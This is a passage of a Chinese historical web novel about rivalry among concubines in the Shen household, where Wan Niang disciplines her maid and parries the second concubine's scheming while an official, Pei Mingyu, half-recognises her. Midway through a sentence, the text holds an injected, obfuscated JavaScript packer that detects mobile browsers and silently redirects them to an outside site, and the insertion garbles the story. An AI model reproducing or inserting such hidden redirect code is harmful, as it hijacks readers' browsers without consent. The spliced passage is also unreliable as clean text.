是啊，这沈宅的女人，除去沈夫人都是妾，命如薄纸飘萍。 沈夫人嗤的一笑，“想当年我嫁给老爷，也是欢喜憧憬。哪晓得，如今一地鸡毛。” “你说得没错，她们不能同我争。可哪怕看着她们在我眼皮底下得意，也心慌意烦。” 最后几个字，她咬得重。 回忆起青春年华，少女模样，再到日渐于后宅蹉跎，实在太恨。 她偏不让他们如意。 沈夫人眯了眯眼，有些惬意地叹气。 随后，她睁眼，“大公子呢？怎还不回来？” 妈妈犹犹豫豫：“近日大公子太忙……我们问起，他也不说的。” 沈夫人：“……忙是好事。他得圣心，我才能扬眉吐气呢。” 12. 箫声咽（十二） 素儿来晚娘身边伺候，明面上看是沈老爷的意思，实则是沈夫人的手笔。 沈夫人不想让晚娘好过，给她派的丫头自然愚钝不堪。素儿这么多年不能近主子身边，只能做个洒扫丫头，果真是有原因的。 她虽是个丫鬟身，却心比天高。 平日晚娘说她几句，就要梗着脖子犟嘴，让晚娘心烦不已。 冬寒料峭，晚娘起来，朝着院子里喊两声，素儿又不见了踪影。晚娘翻身下床，闷坐了好一会儿，才见她慢悠悠从院子外边一步一步挪回来。 晚娘把茶盏往桌上重重一搁：“你又去哪儿了？” “往日我同你说的话，你到底听进去没有？一日日往外跑，外头有你什么人呐？” 她越说越气，站起身，揪住素儿耳朵：“我再三和你说了，不要到外头去惹眼，你是听不懂人话？” 素儿哎哟一声，满不服气。她瞪着晚娘，声音不大，说的话却气人：“……我又不像你一样，见不得人，出不得门……” 晚娘怒极反笑。 她此时一身素衣，披了个袍子，宽大毛氅裹着纤细身子，看上去婷婷袅袅。 可她手上力气不小，扯着素儿耳朵，素儿直叫唤。 “你做什么！” “做什么？”晚娘笑一笑，一根指头戳上素儿脸颊，“就凭你个小蹄子，也敢瞧不上我了？好，既然你不愿在这宅子里待，赶紧滚出去，别碍我眼！” 说完，她拖拽着素儿往外走。 素儿一路叫唤哭骂，晚娘理也不理，走到大门前，一把拉开门，把她推出去！ 素儿立在外边，恨恨瞧着晚娘，但也不敢说什么。 说到底，她是个丫鬟。晚娘就算没进门，不是正经的妾，也是她主子。倘若晚娘告状到沈老爷那里，她也没好果子吃。 “瞪我？可别把眼睛瞪坏了。” 晚娘靠在门边，睥睨瞧她：“你呀，要是不服气只做个丫鬟，不想伺候我，就滚回你主子那里去！我这儿，容不下你这尊大佛！” 说罢，她关上门。门缝里，一抹俏影逐渐消去。 素儿站在门外哭，引得往来行人注意。 行人们议论纷纷……有些知道这是哪个老爷的外宅，于是说这外宅女人脾气真大，不好收服…… “大人，咱们往哪边走？” 街口，一辆青帐马车，马前车夫扭头问车里人。 车里人白衣若雪，浑身不染尘。可一双眼，却直勾勾盯着巷里那座吸引人群注意的宅子。 “裴大人？”车夫又问了一遍。 裴明玙缓缓渐渐，从陈年往事，烟雨朦胧中回过神。 ……他方才一瞧，还真以为，那抹泼辣影子，就是从前那个人。 可脾气性格，都不大像。从前那人温柔体贴，轻言细语，笑起来一双弯眉如月，怎会这样蛮横呢？ ……应当，是他看错了。 一定是看错了。 恍惚，怅然若失，一齐涌上来。愧疚也后知后觉浮上心头。 她此时在何处呢？还在那楼中，强颜卖笑，陪着达官贵人饮宴作乐吗？ 裴明玙心口，一阵一阵疼。 隔了许久许久，他都变得不似他。终于，他开口，平静对车夫道：“前面再过一个巷子，就到了。——走罢。” 车夫驱车，马车稳稳驶过那座小宅院。经过宅院的时候，裴明玙不由自主朝院门看了一眼。 小丫鬟还在哭。 那个熟悉声音，似曾相识身影。却看不到，也听不到了。 —— 午后日头懒洋洋挂在灰蒙天边，被隐去一半，不甚明亮。 这便是京城冬日。 晚娘刚从午憩中醒来，身上还带着一丝倦意。她推开房门，走到院中伸了个懒腰，口中轻吟。 素儿见状，连忙起身。迎面朝晚娘走来的时候，她手里还端着一盆温热的水。 她声音比蚊子还小：“夫人……水来了。” 晚娘瞥了她一眼，一笑。 早上的那通发作，看来是起了作用。这丫头如今跟换了个人似的，乖顺至极。 晚娘不指望她真心服帖，只要不给自己添堵，就再好不过。 “帕子呢？”晚娘问。 “哎！在……在这儿！”素儿连忙从一旁晾衣绳上取下干净的帕子递了过去。 晚娘嗯了一声，接过帕子浸入水中，擦了擦脸。温热的水汽拂过面颊，混沌的脑子清醒了几分。 院门口有人叩门，声音不大。随即一个女人隔着门板问：”妹妹，你可在里面么？“ 素儿听出是二姨娘，白着脸瞧晚娘。 昨日才送走了二位姨娘，为何今日二姨娘又寻了过来？” 晚娘皱了皱眉，心下倒是不大怕，“去开门。” 素儿应了声，绕过廊子去开门。 二姨娘端端立在门口。 她今日穿得淡雅，头上也只一支白玉簪子。她身边只带了一个丫鬟，丫鬟默不作声，二姨娘脸上挂着和煦的笑， “妹妹她可在？” 晚娘将帕子丢回水盆里，起身迎了上去，脸上也堆起了笑：“原来是姐姐来了，快请进。” 二姨娘笑着走进院子，语气亲昵：“看你昨日和四妹妹置气，我怕你心里过不去那个坎，特意来瞧瞧你。” 她的态度热络，仿佛两人果真一母同胞亲姐妹般。 晚娘当然不信她有这么好心，可面上却是温婉笑意模样，“姐姐实在客气……这点小事，我怎会放在心上？你实在不必特意跑一趟。” “说的什么话。”二姨娘拉着她的手，一同往屋里走，“咱们姐妹，何必说这些见外的话？四妹妹被夫人训了一顿，这会儿怕是还在屋里哭呢。你别跟她一般见识。” 晚娘心里跟明镜似的。 这二姨娘，是黄鼠狼给鸡拜年，没安好心。 “姐姐说得是。”晚娘顺着她的话头，天真叹了口气，“我也不想和四姨娘闹得不愉快，只是她……她实在欺人太甚。” 她一边说，一边引着二姨娘在桌边坐下，亲自为她倒了杯茶。 二姨娘端起茶盏，目光状似无意扫过晚娘，幽幽道：“妹妹，你是个聪明人。这府里的水深着呢，咱们交好，总比多个敌人好。老爷虽然疼你，可他毕竟是男人，这后院里的弯弯绕绕，他哪里懂呢？” …… 晚娘垂下眼帘，长长的睫毛在眼下投上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278665|182216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小片阴影，掩去了眸中讥诮。 她再抬眼时，脸上已是一片茫然，仿若真的把二姨娘的话听进去了。 她说了句连自己都想笑的老实话：“我一个外头来的人，什么都不知道，只盼着能安安稳稳地伺候老爷，不求别的。” 二姨娘看着她这副样子，心中也知道她什么意思，面上笑意却更深了。 “傻妹妹，”她放下茶盏，伸手覆在晚娘的手背上，语重心长，“姐姐是看你投缘，才跟你说这些体己话。你想想，这府里，夫人高高在上，咱们这些做妾的，若是不拧成一股绳，还不任人搓圆捏扁了？” 她顿了顿，声音压得更低了些：“眼下老爷最是宠你，你若是能……” 话说到一半，她却停住了，只是意味深长地看着晚娘。 晚娘眨了眨眼，仿佛真的听不懂她话里的深意，只是傻傻地问：“我若能怎样？” “……” 二姨娘的笑容僵了一瞬。 她没想到晚娘会这么……她把话说得这么明白，她竟还在这里装傻。 也罢，这事急不得。 她又变成善解人意模样，拍了拍晚娘的手，笑道：“没什么。姐姐的意思是，你如今正是得宠的时候，要好好抓住老爷的心。以后若是有什么难处，只管来找我，只要姐姐能帮得上忙的，绝不推辞。” “多谢，”晚娘像是松了口气，“你人好。我初来乍到，正怕没人肯理我呢。” 二姨娘看着她那张好似什么都没听明白的脸，默默叹口气。 两人又虚情假意地聊了会儿家常，二姨娘见天色不早，便起身告辞。 晚娘将她送到门口。 二姨娘上了车，车轮轱辘往前走。 晚娘心里森然。 她又不是蠢货，好容易从窑子出来，难道要给人当枪使？ 日子还长，最后谁能踩着谁，还未可知呢。 …… 今日裴明玙出门，是去找沈容远吃茶。 二人话说得差不多，因着顺路，便同乘一辆车往各自宅邸走。 好巧不巧，马车又经过晚娘住的小宅。 裴明玙想忍着不往这边看，还是没忍住。门前寂静冷清，不再有人围着。 想来宅子里的女人，还是心软放丫鬟进去了。 “裴兄在看什么？” 裴明玙惊回神，对上沈容远似笑非笑眸光。 “没什么……” 沈容远顺着他视线看过去，望到这座宅院，眯起眼想了阵，失笑。 他问裴明玙，“裴兄是认识宅子里住的人？” “不识。”裴明玙抬起头：“难道沈大人认识么？” “认识啊。” 沈容远很自然而然，顺理成章地道：“不光认识，还打过两次交道。” “那你可知，这宅子主人名叫什么？”裴明玙听他这么说，急切问。 “……” 沈容远没搭腔。 他好整以暇打量裴明玙一阵，神情有些微妙。 裴明玙也自知失言，默不作声。 沈容远手支着下巴，半晌倒嘶一口气，“这宅子里住的啊……” “是个会咬人的女人吧。”